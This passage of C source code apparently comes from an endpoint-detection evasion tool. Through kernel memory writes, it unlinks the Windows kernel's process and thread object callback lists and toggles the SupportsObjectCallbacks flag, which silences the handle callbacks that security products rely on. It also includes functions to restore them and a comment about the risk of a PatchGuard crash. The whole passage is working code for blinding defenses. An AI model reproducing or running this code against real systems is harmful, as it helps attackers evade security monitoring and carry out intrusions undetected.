for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
if (ObjectTypesSubjectToCallback[i].nbCallbacks) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_Callbacks_List = ObjectType + g_ntoskrnlOffsets.st.object_type_callbacklist;
ObjectTypesSubjectToCallback[i].callbackListAddress = ObjectType_Callbacks_List;
ObjectTypesSubjectToCallback[i].callbackListFlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink));
ObjectTypesSubjectToCallback[i].callbackListBlinkBackup = ReadMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink));
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Flink), ObjectType_Callbacks_List);
WriteMemoryDWORD64(ObjectType_Callbacks_List + offsetof(LIST_ENTRY, Blink), ObjectType_Callbacks_List);
_tprintf_or_not(TEXT("Unlinked the callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
}
}
_putts_or_not(TEXT(""));
}
/*
* Re-link all process and thread handle callbacks that were unlinked
*/
void RestoreAllProcessAndThreadObjectsCallbacks() {
GetAdditionnalObjectCallbackOffsets();
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
if (ObjectTypesSubjectToCallback[i].callbackListAddress && ObjectTypesSubjectToCallback[i].nbCallbacks) {
DWORD64 callbackListAddress = ObjectTypesSubjectToCallback[i].callbackListAddress;
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Flink), ObjectTypesSubjectToCallback[i].callbackListFlinkBackup);
WriteMemoryDWORD64(callbackListAddress + offsetof(LIST_ENTRY, Blink), ObjectTypesSubjectToCallback[i].callbackListBlinkBackup);
_tprintf_or_not(TEXT("Re-linked the original callback entries for %s\n"), ObjectTypesSubjectToCallback[i].name);
}
}
_putts_or_not(TEXT(""));
}
/*
* ------- CallbackList unlinking strategy END --------
*/
/*
* ------- SupportCallbacks bit strategy --------
*/
/*
* Enables/Disables Callback support for processes and threads entirely. The "SupportsObjectCallbacks" field of _OBJECT_TYPE being checked by ObpCreateHandle before checking if CallbackList
* is not empty (and before listing & calling the callbacks). No callback support, no callbacks.
* WARNING : This flag is actually checked by PatchGuard ! There is a risk that PatchGuard will notice a change, even if temporary, and cause a BSOD.
*/
void EnableDisableProcessAndThreadObjectsCallbacksSupport(BOOL enable) {
GetAdditionnalObjectCallbackOffsets();
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
DWORD64 ObjectType = ReadKernelMemoryDWORD64(ObjectTypesSubjectToCallback[i].offset);
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
if (enable) {
TypeInfo_ObjectTypeFlags |= SupportObjectCallbacks_bit;
}
else {
TypeInfo_ObjectTypeFlags &= ~SupportObjectCallbacks_bit;
}
WriteMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags, TypeInfo_ObjectTypeFlags);
_tprintf_or_not(TEXT("[+] Callback support for %s has been %s\n"), ObjectTypesSubjectToCallback[i].name, enable ? TEXT("enabled") : TEXT("disabled"));
}
_putts_or_not(TEXT(""));
}
BOOL AreObjectsCallbacksSupportEnabled(struct ObjTypeSubjectToCallback objTypSubjCb) {
GetAdditionnalObjectCallbackOffsets();
DWORD64 ObjectType = ReadKernelMemoryDWORD64(objTypSubjCb.offset);
DWORD64 ObjectType_TypeInfo = ObjectType + Offset__OBJECT_TYPE_TypeInfo;
WORD TypeInfo_ObjectTypeFlags = ReadMemoryWORD(ObjectType_TypeInfo + Offset__OBJECT_TYPE_INITIALIZER_ObjectTypeFlags);
BOOL enable = (TypeInfo_ObjectTypeFlags & SupportObjectCallbacks_bit) != 0;
_tprintf_or_not(TEXT("[+] Callback support for %s is %s\n"), objTypSubjCb.name, enable ? TEXT("enabled") : TEXT("disabled"));
return enable;
}
BOOL AreProcessAndThreadsObjectsCallbacksSupportEnabled() {
BOOL enabled = FALSE;
ObjectTypesSubjectToCallback[0].offset = g_ntoskrnlOffsets.st.psProcessType;
ObjectTypesSubjectToCallback[1].offset = g_ntoskrnlOffsets.st.psThreadType;
for (DWORD i = 0; i < _countof(ObjectTypesSubjectToCallback); i++) {
enabled |= AreObjectsCallbacksSupportEnabled(ObjectTypesSubjectToCallback[i]);
}
return enabled;
}
/*
* ------- SupportCallbacks bit strategy --------
*/